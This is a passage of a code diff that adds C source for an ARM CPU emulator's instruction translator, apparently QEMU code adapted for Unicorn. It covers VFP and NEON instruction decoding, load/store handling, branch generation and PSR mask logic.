ARM_FEATURE_VFP3)) { + return 1; + } + + n = (insn << 12) & 0x80000000; + i = ((insn >> 12) & 0x70) | (insn & 0xf); + if (dp) { + if (i & 0x40) + i |= 0x3f80; + else + i |= 0x4000; + n |= i << 16; + tcg_gen_movi_i64(tcg_ctx, tcg_ctx->cpu_F0d, ((uint64_t)n) << 32); + } else { + if (i & 0x40) + i |= 0x780; + else + i |= 0x800; + n |= i << 19; + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_F0s, n); + } + break; + case 15: /* extension space */ + switch (rn) { + case 0: /* cpy */ + /* no-op */ + break; + case 1: /* abs */ + gen_vfp_abs(s, dp); + break; + case 2: /* neg */ + gen_vfp_neg(s, dp); + break; + case 3: /* sqrt */ + gen_vfp_sqrt(s, dp); + break; + case 4: /* vcvtb.f32.f16, vcvtb.f64.f16 */ + tmp = gen_vfp_mrs(s); + tcg_gen_ext16u_i32(tcg_ctx, tmp, tmp); + if (dp) { + gen_helper_vfp_fcvt_f16_to_f64(tcg_ctx, tcg_ctx->cpu_F0d, tmp, + tcg_ctx->cpu_env); + } else { + gen_helper_vfp_fcvt_f16_to_f32(tcg_ctx, tcg_ctx->cpu_F0s, tmp, + tcg_ctx->cpu_env); + } + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 5: /* vcvtt.f32.f16, vcvtt.f64.f16 */ + tmp = gen_vfp_mrs(s); + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, 16); + if (dp) { + gen_helper_vfp_fcvt_f16_to_f64(tcg_ctx, tcg_ctx->cpu_F0d, tmp, + tcg_ctx->cpu_env); + } else { + gen_helper_vfp_fcvt_f16_to_f32(tcg_ctx, tcg_ctx->cpu_F0s, tmp, + tcg_ctx->cpu_env); + } + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 6: /* vcvtb.f16.f32, vcvtb.f16.f64 */ + tmp = tcg_temp_new_i32(tcg_ctx); + if (dp) { + gen_helper_vfp_fcvt_f64_to_f16(tcg_ctx, tmp, tcg_ctx->cpu_F0d, + tcg_ctx->cpu_env); + } else { + gen_helper_vfp_fcvt_f32_to_f16(tcg_ctx, tmp, tcg_ctx->cpu_F0s, + tcg_ctx->cpu_env); + } + gen_mov_F0_vreg(s, 0, rd); + tmp2 = gen_vfp_mrs(s); + tcg_gen_andi_i32(tcg_ctx, tmp2, tmp2, 0xffff0000); + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + gen_vfp_msr(s, tmp); + break; + case 7: /* vcvtt.f16.f32, vcvtt.f16.f64 */ + tmp = tcg_temp_new_i32(tcg_ctx); + if (dp) { + gen_helper_vfp_fcvt_f64_to_f16(tcg_ctx, tmp, tcg_ctx->cpu_F0d, + tcg_ctx->cpu_env); + } else { + gen_helper_vfp_fcvt_f32_to_f16(tcg_ctx, tmp, tcg_ctx->cpu_F0s, + tcg_ctx->cpu_env); + } + tcg_gen_shli_i32(tcg_ctx, tmp, tmp, 16); + gen_mov_F0_vreg(s, 0, rd); + tmp2 = gen_vfp_mrs(s); + tcg_gen_ext16u_i32(tcg_ctx, tmp2, tmp2); + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + gen_vfp_msr(s, tmp); + break; + case 8: /* cmp */ + gen_vfp_cmp(s, dp); + break; + case 9: /* cmpe */ + gen_vfp_cmpe(s, dp); + break; + case 10: /* cmpz */ + gen_vfp_cmp(s, dp); + break; + case 11: /* cmpez */ + gen_vfp_F1_ld0(s, dp); + gen_vfp_cmpe(s, dp); + break; + case 12: /* vrintr */ + { + TCGv_ptr fpst = get_fpstatus_ptr(s, 0); + if (dp) { + gen_helper_rintd(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0d, fpst); + } else { + gen_helper_rints(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, fpst); + } + tcg_temp_free_ptr(tcg_ctx, fpst); + break; + } + case 13: /* vrintz */ + { + TCGv_ptr fpst = get_fpstatus_ptr(s, 0); + TCGv_i32 tcg_rmode; + tcg_rmode = tcg_const_i32(tcg_ctx, float_round_to_zero); + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + if (dp) { + gen_helper_rintd(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0d, fpst); + } else { + gen_helper_rints(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, fpst); + } + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); + tcg_temp_free_ptr(tcg_ctx, fpst); + break; + } + case 14: /* vrintx */ + { + TCGv_ptr fpst = get_fpstatus_ptr(s, 0); + if (dp) { + gen_helper_rintd_exact(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0d, fpst); + } else { + gen_helper_rints_exact(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, fpst); + } + tcg_temp_free_ptr(tcg_ctx, fpst); + break; + } + case 15: /* single<->double conversion */ + if (dp) + gen_helper_vfp_fcvtsd(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0d, tcg_ctx->cpu_env); + else + gen_helper_vfp_fcvtds(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env); + break; + case 16: /* fuito */ + gen_vfp_uito(s, dp, 0); + break; + case 17: /* fsito */ + gen_vfp_sito(s, dp, 0); + break; + case 20: /* fshto */ + if (!arm_dc_feature(s, ARM_FEATURE_VFP3)) { + return 1; + } + gen_vfp_shto(s, dp, 16 - rm, 0); + break; + case 21: /* fslto */ + if (!arm_dc_feature(s, ARM_FEATURE_VFP3)) { + return 1; + } + gen_vfp_slto(s, dp, 32 - rm, 0); + break; + case 22: /* fuhto */ + if (!arm_dc_feature(s, ARM_FEATURE_VFP3)) { + return 1; + } + gen_vfp_uhto(s, dp, 16 - rm, 0); + break; + case 23: /* fulto */ + if (!arm_dc_feature(s, ARM_FEATURE_VFP3)) { + return 1; + } + gen_vfp_ulto(s, dp, 32 - rm, 0); + break; + case 24: /* ftoui */ + gen_vfp_toui(s, dp, 0); + break; + case 25: /* ftouiz */ + gen_vfp_touiz(s, dp, 0); + break; + case 26: /* ftosi */ + gen_vfp_tosi(s, dp, 0); + break; + case 27: /* ftosiz */ + gen_vfp_tosiz(s, dp, 0); + break; + case 28: /* ftosh */ + if (!arm_dc_feature(s, ARM_FEATURE_VFP3)) { + return 1; + } + gen_vfp_tosh(s, dp, 16 - rm, 0); + break; + case 29: /* ftosl */ + if (!arm_dc_feature(s, ARM_FEATURE_VFP3)) { + return 1; + } + gen_vfp_tosl(s, dp, 32 - rm, 0); + break; + case 30: /* ftouh */ + if (!arm_dc_feature(s, ARM_FEATURE_VFP3)) { + return 1; + } + gen_vfp_touh(s, dp, 16 - rm, 0); + break; + case 31: /* ftoul */ + if (!arm_dc_feature(s, ARM_FEATURE_VFP3)) { + return 1; + } + gen_vfp_toul(s, dp, 32 - rm, 0); + break; + default: /* undefined */ + return 1; + } + break; + default: /* undefined */ + return 1; + } + + /* Write back the result. */ + if (op == 15 && (rn >= 8 && rn <= 11)) { + /* Comparison, do nothing. */ + } else if (op == 15 && dp && ((rn & 0x1c) == 0x18 || + (rn & 0x1e) == 0x6)) { + /* VCVT double to int: always integer result. + * VCVT double to half precision is always a single + * precision result. + */ + gen_mov_vreg_F0(s, 0, rd); + } else if (op == 15 && rn == 15) { + /* conversion */ + gen_mov_vreg_F0(s, !dp, rd); + } else { + gen_mov_vreg_F0(s, dp, rd); + } + + /* break out of the loop if we have finished */ + if (veclen == 0) + break; + + if (op == 15 && delta_m == 0) { + /* single source one-many */ + while (veclen--) { + rd = ((rd + delta_d) & (bank_mask - 1)) + | (rd & bank_mask); + gen_mov_vreg_F0(s, dp, rd); + } + break; + } + /* Setup the next operands. */ + veclen--; + rd = ((rd + delta_d) & (bank_mask - 1)) + | (rd & bank_mask); + + if (op == 15) { + /* One source operand. */ + rm = ((rm + delta_m) & (bank_mask - 1)) + | (rm & bank_mask); + gen_mov_F0_vreg(s, dp, rm); + } else { + /* Two source operands. */ + rn = ((rn + delta_d) & (bank_mask - 1)) + | (rn & bank_mask); + gen_mov_F0_vreg(s, dp, rn); + if (delta_m) { + rm = ((rm + delta_m) & (bank_mask - 1)) + | (rm & bank_mask); + gen_mov_F1_vreg(s, dp, rm); + } + } + } + } + break; + case 0xc: + case 0xd: + if ((insn & 0x03e00000) == 0x00400000) { + /* two-register transfer */ + rn = (insn >> 16) & 0xf; + rd = (insn >> 12) & 0xf; + if (dp) { + VFP_DREG_M(rm, insn); + } else { + rm = VFP_SREG_M(insn); + } + + if (insn & ARM_CP_RW_BIT) { + /* vfp->arm */ + if (dp) { + gen_mov_F0_vreg(s, 0, rm * 2); + tmp = gen_vfp_mrs(s); + store_reg(s, rd, tmp); + gen_mov_F0_vreg(s, 0, rm * 2 + 1); + tmp = gen_vfp_mrs(s); + store_reg(s, rn, tmp); + } else { + gen_mov_F0_vreg(s, 0, rm); + tmp = gen_vfp_mrs(s); + store_reg(s, rd, tmp); + gen_mov_F0_vreg(s, 0, rm + 1); + tmp = gen_vfp_mrs(s); + store_reg(s, rn, tmp); + } + } else { + /* arm->vfp */ + if (dp) { + tmp = load_reg(s, rd); + gen_vfp_msr(s, tmp); + gen_mov_vreg_F0(s, 0, rm * 2); + tmp = load_reg(s, rn); + gen_vfp_msr(s, tmp); + gen_mov_vreg_F0(s, 0, rm * 2 + 1); + } else { + tmp = load_reg(s, rd); + gen_vfp_msr(s, tmp); + gen_mov_vreg_F0(s, 0, rm); + tmp = load_reg(s, rn); + gen_vfp_msr(s, tmp); + gen_mov_vreg_F0(s, 0, rm + 1); + } + } + } else { + /* Load/store */ + rn = (insn >> 16) & 0xf; + if (dp) + VFP_DREG_D(rd, insn); + else + rd = VFP_SREG_D(insn); + if ((insn & 0x01200000) == 0x01000000) { + /* Single load/store */ + offset = (insn & 0xff) << 2; + if ((insn & (1 << 23)) == 0) + offset = 0-offset; + if (s->thumb && rn == 15) { + /* This is actually UNPREDICTABLE */ + addr = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, addr, s->pc & ~2); + } else { + addr = load_reg(s, rn); + } + tcg_gen_addi_i32(tcg_ctx, addr, addr, offset); + if (insn & (1 << 20)) { + gen_vfp_ld(s, dp, addr); + gen_mov_vreg_F0(s, dp, rd); + } else { + gen_mov_F0_vreg(s, dp, rd); + gen_vfp_st(s, dp, addr); + } + tcg_temp_free_i32(tcg_ctx, addr); + } else { + /* load/store multiple */ + int w = insn & (1 << 21); + if (dp) + n = (insn >> 1) & 0x7f; + else + n = insn & 0xff; + + if (w && !(((insn >> 23) ^ (insn >> 24)) & 1)) { + /* P == U , W == 1 => UNDEF */ + return 1; + } + if (n == 0 || (rd + n) > 32 || (dp && n > 16)) { + /* UNPREDICTABLE cases for bad immediates: we choose to + * UNDEF to avoid generating huge numbers of TCG ops + */ + return 1; + } + if (rn == 15 && w) { + /* writeback to PC is UNPREDICTABLE, we choose to UNDEF */ + return 1; + } + + if (s->thumb && rn == 15) { + /* This is actually UNPREDICTABLE */ + addr = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, addr, s->pc & ~2); + } else { + addr = load_reg(s, rn); + } + if (insn & (1 << 24)) /* pre-decrement */ + tcg_gen_addi_i32(tcg_ctx, addr, addr, 0-((insn & 0xff) << 2)); + + if (dp) + offset = 8; + else + offset = 4; + for (i = 0; i < n; i++) { + if (insn & ARM_CP_RW_BIT) { + /* load */ + gen_vfp_ld(s, dp, addr); + gen_mov_vreg_F0(s, dp, rd + i); + } else { + /* store */ + gen_mov_F0_vreg(s, dp, rd + i); + gen_vfp_st(s, dp, addr); + } + tcg_gen_addi_i32(tcg_ctx, addr, addr, offset); + } + if (w) { + /* writeback */ + if (insn & (1 << 24)) + offset = (0-offset) * n; + else if (dp && (insn & 1)) + offset = 4; + else + offset = 0; + + if (offset != 0) + tcg_gen_addi_i32(tcg_ctx, addr, addr, offset); + store_reg(s, rn, addr); + } else { + tcg_temp_free_i32(tcg_ctx, addr); + } + } + } + break; + default: + /* Should never happen. */ + return 1; + } + return 0; +} + +static inline void gen_goto_tb(DisasContext *s, int n, target_ulong dest) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TranslationBlock *tb; + + tb = s->tb; + if ((tb->pc & TARGET_PAGE_MASK) == (dest & TARGET_PAGE_MASK)) { + tcg_gen_goto_tb(tcg_ctx, n); + gen_set_pc_im(s, dest); + tcg_gen_exit_tb(tcg_ctx, (uintptr_t)tb + n); + } else { + gen_set_pc_im(s, dest); + tcg_gen_exit_tb(tcg_ctx, 0); + } +} + +static inline void gen_jmp(DisasContext *s, uint32_t dest) +{ + if (unlikely(s->singlestep_enabled || s->ss_active)) { + /* An indirect jump so that we still trigger the debug exception. */ + if (s->thumb) + dest |= 1; + gen_bx_im(s, dest); + } else { + gen_goto_tb(s, 0, dest); + s->is_jmp = DISAS_TB_JUMP; + } +} + +static inline void gen_mulxy(DisasContext *s, TCGv_i32 t0, TCGv_i32 t1, int x, int y) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (x) + tcg_gen_sari_i32(tcg_ctx, t0, t0, 16); + else + gen_sxth(t0); + if (y) + tcg_gen_sari_i32(tcg_ctx, t1, t1, 16); + else + gen_sxth(t1); + tcg_gen_mul_i32(tcg_ctx, t0, t0, t1); +} + +/* Return the mask of PSR bits set by a MSR instruction. */ +static uint32_t msr_mask(DisasContext *s, int flags, int spsr) +{ + uint32_t mask; + + mask = 0; + if (flags & (1 << 0)) + mask |= 0xff; + if (flags & (1 << 1)) + mask |= 0xff00; + if (flags & (1 << 2)) + mask |= 0xff0000; + if (flags & (1 << 3)) + mask |= 0xff000000; + + /* Mask out undefined bits. */ + mask &= ~CPSR_RESERVED; + if (!arm_dc_feature(s, ARM_FEATURE_V4T)) { + mask &= ~CPSR_T; + } + if (!arm_dc_feature(s, ARM_FEATURE_V5)) { + mask &= ~CPSR_Q; /* V5TE in reality*/ + } + if (!arm_dc_feature(s, ARM_FEATURE_V6)) { + mask &= ~(CPSR_E | CPSR_GE); + } + if (!arm_dc_feature(s, ARM_FEATURE_THUMB2)) { + mask &= ~CPSR_IT; + } + /* Mask out execution state and reserved bits. */ + if (!spsr) { + mask &= ~(CPSR_EXEC | CPSR_RESERVED); + } + /* Mask out privileged bits. */ + if (IS_USER(s)) + mask &= CPSR_USER; + return mask; +} + +/* Returns nonzero if access to the PSR is not permitted. Marks t0 as dead. */ +static int gen_set_psr(DisasContext *s, uint32_t mask, int spsr, TCGv_i32 t0) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp; + if (spsr) { + /* ??? This is also undefined in system mode. */ + if (IS_USER(s)) + return 1; + + tmp = load_cpu_field(s->uc, spsr); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, ~mask); + tcg_gen_andi_i32(tcg_ctx, t0, t0, mask); + tcg_gen_or_i32(tcg_ctx, tmp, tmp, t0); + store_cpu_field(tcg_ctx, tmp, spsr); + } else { + gen_set_cpsr(s, t0, mask); + } + tcg_temp_free_i32(tcg_ctx, t0); + gen_lookup_tb(s); + return 0; +} + +/* Returns nonzero if access to the PSR is not permitted. */ +static int gen_set_psr_im(DisasContext *s, uint32_t mask, int spsr, uint32_t val) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp; + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, val); + return gen_set_psr(s, mask, spsr, tmp); +} + +/* Generate an old-style exception return. Marks pc as dead. */ +static void gen_exception_return(DisasContext *s, TCGv_i32 pc) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp; + store_reg(s, 15, pc); + tmp = load_cpu_field(s->uc, spsr); + gen_set_cpsr(s, tmp, CPSR_ERET_MASK); + tcg_temp_free_i32(tcg_ctx, tmp); + s->is_jmp = DISAS_UPDATE; +} + +/* Generate a v6 exception return. Marks both values as dead. */ +static void gen_rfe(DisasContext *s, TCGv_i32 pc, TCGv_i32 cpsr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + gen_set_cpsr(s, cpsr, CPSR_ERET_MASK); + tcg_temp_free_i32(tcg_ctx, cpsr); + store_reg(s, 15, pc); + s->is_jmp = DISAS_UPDATE; +} + +static void gen_nop_hint(DisasContext *s, int val) +{ + switch (val) { + case 3: /* wfi */ + gen_set_pc_im(s, s->pc); + s->is_jmp = DISAS_WFI; + break; + case 2: /* wfe */ + gen_set_pc_im(s, s->pc); + s->is_jmp = DISAS_WFE; + break; + case 4: /* sev */ + case 5: /* sevl */ + /* TODO: Implement SEV, SEVL and WFE. May help SMP performance. */ + default: /* nop */ + break; + } +} + +#define CPU_V001 tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1 + +static inline void gen_neon_add(DisasContext *s, int size, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (size) { + case 0: gen_helper_neon_add_u8(tcg_ctx, t0, t0, t1); break; + case 1: gen_helper_neon_add_u16(tcg_ctx, t0, t0, t1); break; + case 2: tcg_gen_add_i32(tcg_ctx, t0, t0, t1); break; + default: abort(); + } +} + +static inline void gen_neon_rsb(DisasContext *s, int size, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (size) { + case 0: gen_helper_neon_sub_u8(tcg_ctx, t0, t1, t0); break; + case 1: gen_helper_neon_sub_u16(tcg_ctx, t0, t1, t0); break; + case 2: tcg_gen_sub_i32(tcg_ctx, t0, t1, t0); break; + default: return; + } +} + +/* 32-bit pairwise ops end up the same as the elementwise versions. */ +#define gen_helper_neon_pmax_s32 gen_helper_neon_max_s32 +#define gen_helper_neon_pmax_u32 gen_helper_neon_max_u32 +#define gen_helper_neon_pmin_s32 gen_helper_neon_min_s32 +#define gen_helper_neon_pmin_u32 gen_helper_neon_min_u32 + +#define GEN_NEON_INTEGER_OP_ENV(name) do { \ + switch ((size << 1) | u) { \ + case 0: \ + gen_helper_neon_##name##_s8(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); \ + break; \ + case 1: \ + gen_helper_neon_##name##_u8(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); \ + break; \ + case 2: \ + gen_helper_neon_##name##_s16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); \ + break; \ + case 3: \ + gen_helper_neon_##name##_u16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); \ + break; \ + case 4: \ + gen_helper_neon_##name##_s32(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); \ + break; \ + case 5: \ + gen_helper_neon_##name##_u32(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); \ + break; \ + default: return 1; \ + }} while (0) + +#define GEN_NEON_INTEGER_OP(name) do { \ + switch ((size << 1) | u) { \ + case 0: \ + gen_helper_neon_##name##_s8(tcg_ctx, tmp, tmp, tmp2); \ + break; \ + case 1: \ + gen_helper_neon_##name##_u8(tcg_ctx, tmp, tmp, tmp2); \ + break; \ + case 2: \ + gen_helper_neon_##name##_s16(tcg_ctx, tmp, tmp, tmp2); \ + break; \ + case 3: \ + gen_helper_neon_##name##_u16(tcg_ctx, tmp, tmp, tmp2); \ + break; \ + case 4: \ + gen_helper_neon_##name##_s32(tcg_ctx, tmp, tmp, tmp2); \ + break; \ + case 5: \ + gen_helper_neon_##name##_u32(tcg_ctx, tmp, tmp, tmp2); \ + break; \ + default: return 1; \ + }} while (0) + +static TCGv_i32 neon_load_scratch(TCGContext *tcg_ctx, int scratch) +{ + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_i32(tcg_ctx, tmp, tcg_ctx->cpu_env, offsetof(CPUARMState, vfp.scratch[scratch])); + return tmp; +} + +static void neon_store_scratch(TCGContext *tcg_ctx, int scratch, TCGv_i32 var) +{ + tcg_gen_st_i32(tcg_ctx, var, tcg_ctx->cpu_env, offsetof(CPUARMState, vfp.scratch[scratch])); + tcg_temp_free_i32(tcg_ctx, var); +} + +static inline TCGv_i32 neon_get_scalar(DisasContext *s, int size, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp; + if (size == 1) { + tmp = neon_load_reg(tcg_ctx, reg & 7, reg >> 4); + if (reg & 8) { + gen_neon_dup_high16(s, tmp); + } else { + gen_neon_dup_low16(s, tmp); + } + } else { + tmp = neon_load_reg(tcg_ctx, reg & 15, reg >> 4); + } + return tmp; +} + +static int gen_neon_unzip(TCGContext *tcg_ctx, int rd, int rm, int size, int q) +{ + TCGv_i32 tmp, tmp2; + if (!q && size == 2) { + return 1; + } + tmp = tcg_const_i32(tcg_ctx, rd); + tmp2 = tcg_const_i32(tcg_ctx, rm); + if (q) { + switch (size) { + case 0: + gen_helper_neon_qunzip8(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + break; + case 1: + gen_helper_neon_qunzip16(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + break; + case 2: + gen_helper_neon_qunzip32(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + break; + default: + abort(); + } + } else { + switch (size) { + case 0: + gen_helper_neon_unzip8(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + break; + case 1: + gen_helper_neon_unzip16(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + break; + default: + abort(); + } + } + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + return 0; +} + +static int gen_neon_zip(TCGContext *tcg_ctx, int rd, int rm, int size, int q) +{ + TCGv_i32 tmp, tmp2; + if (!q && size == 2) { + return 1; + } + tmp = tcg_const_i32(tcg_ctx, rd); + tmp2 = tcg_const_i32(tcg_ctx, rm); + if (q) { + switch (size) { + case 0: + gen_helper_neon_qzip8(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + break; + case 1: + gen_helper_neon_qzip16(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + break; + case 2: + gen_helper_neon_qzip32(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + break; + default: + abort(); + } + } else { + switch (size) { + case 0: + gen_helper_neon_zip8(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + break; + case 1: + gen_helper_neon_zip16(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + break; + default: + abort(); + } + } + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + return 0; +} + +static void gen_neon_trn_u8(TCGContext *tcg_ctx, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGv_i32 rd, tmp; + + rd = tcg_temp_new_i32(tcg_ctx); + tmp = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_shli_i32(tcg_ctx, rd, t0, 8); + tcg_gen_andi_i32(tcg_ctx, rd, rd, 0xff00ff00); + tcg_gen_andi_i32(tcg_ctx, tmp, t1, 0x00ff00ff); + tcg_gen_or_i32(tcg_ctx, rd, rd, tmp); + + tcg_gen_shri_i32(tcg_ctx, t1, t1, 8); + tcg_gen_andi_i32(tcg_ctx, t1, t1, 0x00ff00ff); + tcg_gen_andi_i32(tcg_ctx, tmp, t0, 0xff00ff00); + tcg_gen_or_i32(tcg_ctx, t1, t1, tmp); + tcg_gen_mov_i32(tcg_ctx, t0, rd); + + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, rd); +} + +static void gen_neon_trn_u16(TCGContext *tcg_ctx, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGv_i32 rd, tmp; + + rd = tcg_temp_new_i32(tcg_ctx); + tmp = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_shli_i32(tcg_ctx, rd, t0, 16); + tcg_gen_andi_i32(tcg_ctx, tmp, t1, 0xffff); + tcg_gen_or_i32(tcg_ctx, rd, rd, tmp); + tcg_gen_shri_i32(tcg_ctx, t1, t1, 16); + tcg_gen_andi_i32(tcg_ctx, tmp, t0, 0xffff0000); + tcg_gen_or_i32(tcg_ctx, t1, t1, tmp); + tcg_gen_mov_i32(tcg_ctx, t0, rd); + + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, rd); +} + + +static struct { + int nregs; + int interleave; + int spacing; +} neon_ls_element_type[11] = { + {4, 4, 1}, + {4, 4, 2}, + {4, 1, 1}, + {4, 2, 1}, + {3, 3, 1}, + {3, 3, 2}, + {3, 1, 1}, + {1, 1, 1}, + {2, 2, 1}, + {2, 2, 2}, + {2, 1, 1} +}; + +/* Translate a NEON load/store element instruction. Return nonzero if the + instruction is invalid. */ +static int disas_neon_ls_insn(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd, rn, rm; + int op; + int nregs; + int interleave; + int spacing; + int stride; + int size; + int reg; + int pass; + int load; + int shift; + int n; + TCGv_i32 addr; + TCGv_i32 tmp; + TCGv_i32 tmp2; + TCGv_i64 tmp64; + + /* FIXME: this access check should not take precedence over UNDEF + * for invalid encodings; we will generate incorrect syndrome information + * for attempts to execute invalid vfp/neon encodings with FP disabled. + */ + if (!s->cpacr_fpen) { + gen_exception_insn(s, 4, EXCP_UDEF, + syn_fp_access_trap(1, 0xe, s->thumb)); + return 0; + } + + if (!s->vfp_enabled) + return 1; + VFP_DREG_D(rd, insn); + rn = (insn >> 16) & 0xf; + rm = insn & 0xf; + load = (insn & (1 << 21)) != 0; + if ((insn & (1 << 23)) == 0) { + /* Load store all elements. */ + op = (insn >> 8) & 0xf; + size = (insn >> 6) & 3; + if (op > 10) + return 1; + /* Catch UNDEF cases for bad values of align field */ + switch (op & 0xc) { + case 4: + if (((insn >> 5) & 1) == 1) { + return 1; + } + break; + case 8: + if (((insn >> 4) & 3) == 3) { + return 1; + } + break; + default: + break; + } + nregs = neon_ls_element_type[op].nregs; + interleave = neon_ls_element_type[op].interleave; + spacing = neon_ls_element_type[op].spacing; + if (size == 3 && (interleave | spacing) != 1) + return 1; + addr = tcg_temp_new_i32(tcg_ctx); + load_reg_var(s, addr, rn); + stride = (1 << size) * interleave; + for (reg = 0; reg < nregs; reg++) { + if (interleave > 2 || (interleave == 2 && nregs == 2)) { + load_reg_var(s, addr, rn); + tcg_gen_addi_i32(tcg_ctx, addr, addr, (1 << size) * reg); + } else if (interleave == 2 && nregs == 4 && reg == 2) { + load_reg_var(s, addr, rn); + tcg_gen_addi_i32(tcg_ctx, addr, addr, 1 << size); + } + if (size == 3) { + tmp64 = tcg_temp_new_i64(tcg_ctx); + if (load) { + gen_aa32_ld64(s, tmp64, addr, get_mem_index(s)); + neon_store_reg64(tcg_ctx, tmp64, rd); + } else { + neon_load_reg64(tcg_ctx, tmp64, rd); + gen_aa32_st64(s, tmp64, addr, get_mem_index(s)); + } + tcg_temp_free_i64(tcg_ctx, tmp64); + tcg_gen_addi_i32(tcg_ctx, addr, addr, stride); + } else { + for (pass = 0; pass < 2; pass++) { + if (size == 2) { + if (load) { + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + neon_store_reg(tcg_ctx, rd, pass, tmp); + } else { + tmp = neon_load_reg(tcg_ctx, rd, pass); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_gen_addi_i32(tcg_ctx, addr, addr, stride); + } else if (size == 1) { + if (load) { + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + tcg_gen_addi_i32(tcg_ctx, addr, addr, stride); + tmp2 = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld16u(s, tmp2, addr, get_mem_index(s)); + tcg_gen_addi_i32(tcg_ctx, addr, addr, stride); + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, 16); + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + neon_store_reg(tcg_ctx, rd, pass, tmp); + } else { + tmp = neon_load_reg(tcg_ctx, rd, pass); + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_shri_i32(tcg_ctx, tmp2, tmp, 16); + gen_aa32_st16(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_gen_addi_i32(tcg_ctx, addr, addr, stride); + gen_aa32_st16(s, tmp2, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_gen_addi_i32(tcg_ctx, addr, addr, stride); + } + } else /* size == 0 */ { + if (load) { + TCGV_UNUSED_I32(tmp2); + for (n = 0; n < 4; n++) { + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + tcg_gen_addi_i32(tcg_ctx, addr, addr, stride); + if (n == 0) { + tmp2 = tmp; + } else { + tcg_gen_shli_i32(tcg_ctx, tmp, tmp, n * 8); + tcg_gen_or_i32(tcg_ctx, tmp2, tmp2, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + } + } + neon_store_reg(tcg_ctx, rd, pass, tmp2); + } else { + tmp2 = 